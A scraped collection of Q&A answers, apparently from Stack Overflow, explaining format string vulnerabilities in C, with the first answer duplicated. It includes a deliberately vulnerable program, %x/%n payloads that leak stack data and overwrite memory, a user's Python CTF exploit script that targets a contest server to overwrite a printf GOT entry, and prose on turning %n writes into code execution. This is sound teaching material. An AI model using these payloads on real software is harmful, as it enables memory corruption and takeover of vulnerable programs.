You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
Answer from Michael F on Stack OverflowYou may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:
"%200$p"
to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).
However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.
* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.
Videos
Hello I am a "newb" currently following "Format String to dump binary and gain RCE - 33c3ctf ESPR (pwn 150)" and trying to apply the techniques in the video to CTF challenge from TJCTF called Secure Secrets. Although there is already a simpler method to solving the challenge and though the binary for Secure Secrets is already provided, I just wanted to learn the technique in the LiveOverflow video by applying to the Secure Secrets challenge since the server for the ESPR challenge is no longer available. The code below is able to overwrite the least significant byte of the printf GOT entry:
#This was modeled after LiveOverflow's solution for the Eat, Pwn, Repeat Challenge
import struct
import socket
import sys
# Bunch of GOT Addresses and other addresses
PRINTF_GOT = 0x0804a014
PRINTF_LIBC = 0x67360
FGETS_GOT = 0x0804a01c
PUTS_GOT = 0x0804a028
EXIT_GOT = 0x0804a02c
SETBUF_GOT = 0x804a00c
STRCMP_GOT = 0x804a010
SYSTEM_LIBC = 0x0003cd10
main = 0x08048929
# Which GOT Entry to overwrite
adr = PRINTF_GOT
# Networking socket stuff
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problem1.tjctf.org', 8008))
# Construct the exploit
out = "|%49$s|" # Displays old unchanged GOT Entry
out += "%1000x%49$hhn" # Format Specifiers to change the GOT Entry
out += "|%49$s|" # Displays new changed GOT Entry
out += "|END"
out = out.rjust(56, "A")
out += struct.pack("I", adr)
out += struct.pack("I", adr + 2)
# Send the Exploit
s.send("AAAA\n" + out + "\n" + "AAAA\n")
# Debug info
print "exploit: " + out + "\n"
# Read the response
r = ''
while "END" not in r:
r += s.recv(1)
s.close()
returnthing = r.split('|') # Splits the response into manageable chunks
#What is at the printf got entry before the overwrite
old_printf_leak = struct.unpack("I", (bytes(returnthing[1])[:4]).ljust(4, "\x00"))[0]
# What is at the printf got entry after the overwrite
new_printf_leak = struct.unpack("I", (bytes(returnthing[3])[:4]).ljust(4, "\x00"))[0]
print returnthing[4]
libc_base = old_printf_leak - PRINTF_LIBC
system = libc_base + SYSTEM_LIBC
# Debug Info
print "system: 0x{:08x}".format(system)
print "old: 0x{:08x}".format(old_printf_leak)
print "new: 0x{:08x}".format(new_printf_leak)
However when I change out += "%1000x%49$hn" # Format Specifiers to change the GOT Entry to out += "%1000x%49$hhn%1000x%50$hhn" # Format Specifiers to change the GOT Entry the code just freezes and doesn't print out my debug statements. Any help explaining how to overwrite the printf GOT entry would be appreciated.
Let's say I'm just allowed to enter input with 23 characters... But is it possible to exploit it somehow? (Shell, ...)
Yes (assuming that unsanitized user input is used as the format string)! I'm not going to give you a full exploit (I'd need, at minimum, to know the offsets of various functions on your platform, and probably a lot of tinkering) but I'll explain the basics. Before we get too far, open up the printf(3) manual in another tab.
The core tool for using format string vulns to achieve code execution is the %n conversion specifier. Its theoretical purpose is to take a parameter, which has type int*, write to the pointed-at address the number of bytes of output thus far. However, it it possible to instead use it to write an arbitrary value to an arbitrary address (within the process' address space), even with a relatively short format string.
First problem: how to specify an address of interest?
The C runtime implements "variadic" functions (those which take a variable number of parameters, like printf) by putting the parameters on the stack. At least some C runtimes actually also record the number of parameters passed as another value on the stack, but I've never seen[1] an implementation of C printf which uses this information, so you can reference parameters that don't exist, and the function will simply check controllable offsets from the stack pointer and treat the values at those addresses as parameters of the expected type.
Usually this step is pretty easy, if you control other input into the program. The functions "below" printf on the stack (so, at higher addresses, because the stack grows downward) likely contain stack-allocated with data you supplied, so if you supply the right data, you can reference your own buffer as a "parameter" to any arbitrary address.
But what if no value near the stack pointer is suitable? Especially with a short format string, you can only put so many %p or similar conversions in there (to skip a bunch of stack bytes at a time) before you run out of space, and maybe that isn't enough room to reach the data with the right value. While the C standard doesn't support addressing arbitrary parameters, the UNIX standard does; instead of just the % sign for a conversion, write %m$ to get the mth parameter, indexed from 1 (as in, %17$n to use the 17th parameter as the int*). Note that this is not available on all implementations! Note that the size of nonexistent parameters will be taken as some default value, probably either 1, 4, or 8 bytes; you might need to experiment some to land on the exact "parameter" with the value you want. Negative indices are unlikely to work, but if you really need one, try positive values so large they cause integer overflow when converted to memory offsets, wrapping around to locations behind parameter 1. (You might think this doesn't need to be super large, because the stack is near the top of the process' address space and you're probably only trying to get to the bottom, but don't forget the entire kernel address space above the user-mode address space! On 64-bit processes, this would need to be a very large number and it might not be possible.)
Generally, the value you'll be looking for is the address (on the stack) of the saved instruction pointer (return address) of some function that will return soon. Overwriting a such a return address is often the easiest way to jump to an arbitrary function (such as system or execve). However, addresses pointing to other locations - such as function pointers that will be invoked, or pointers to data structures which contain function pointers, or so on - can also be used.
Note that you can chain these. For example, maybe you can't find a value that is exactly the right address, but you can find a value that is a writable address. Write into that writable address the address you actually want, and then use the "index" of that writable address (where you just wrote) for the actual write that changes program flow. If you can find a location whose value is its address (and it's writable), you can even just use that index twice. This requires additional format string capacity, though, so it might get tight for you.
Second problem: how to specify a value of interest?
%n writes to memory (at the address in the parameter) the number of bytes output so far by printf. 23 characters of format string doesn't sound like enough to overwrite even a single byte with a fully chosen value, much less a complete pointer, especially when part of that format string will be the complicated %n conversion (or possibly two conversions, chaining one address to another). Fortunately, even a pretty short format conversion can output an arbitrary number of bytes.
The trick is to abuse the "field width" specifier, which comes after the positional parameter specifier (the m$ part) and any flags, and before the conversion specifier (and any precision specifier, which you can omit). For example, %1$12345d will always output exactly 12345 bytes (since no matter what value is in parameter 1, it won't be longer than 12345 bytes when represented as a decimal value, and will get left-padded with spaces). The value you want to write into memory (e.g. address of the function system) is probably short enough to fit in a single field length without trouble. Do note that the field length is always given in decimal, not hex. Simply start your format string with a conversion whose field length is the value you want to write into memory, and follow it directly with the actual memory write.
There you go, the tools to write an arbitrary value to an arbitrary address, using a short format string!
Note that actually weaponizing this is hard unless you have the ability to scan memory. If you control other parts of memory outside of the format string, and know either their absolute or relative positions, that will help a lot; you could for example create a fake stack frame with all the parameters, including strings, that you want a function invocation or even chain of invocations to have, and use that for return-oriented programming (with a single format string vuln to redirect the control flow). However, it is almost certainly weaponizable with enough effort (even on a remote server, you can scan memory using enough printf invocations, assuming you see the output string).
[1] Note that my last time messing with format string vulns such that I cared about implementation minutiae was ~15 years ago; some modern implementations may well have implemented protections against many of these techniques although e.g. glibc still allows specifying nonexistent parameters.
PRINTF is not vulnerable on its own, so probably need to explain what it does with the output.
looks like you only need 2-3 characters
Read this: https://www.owasp.org/index.php/Format_string_attack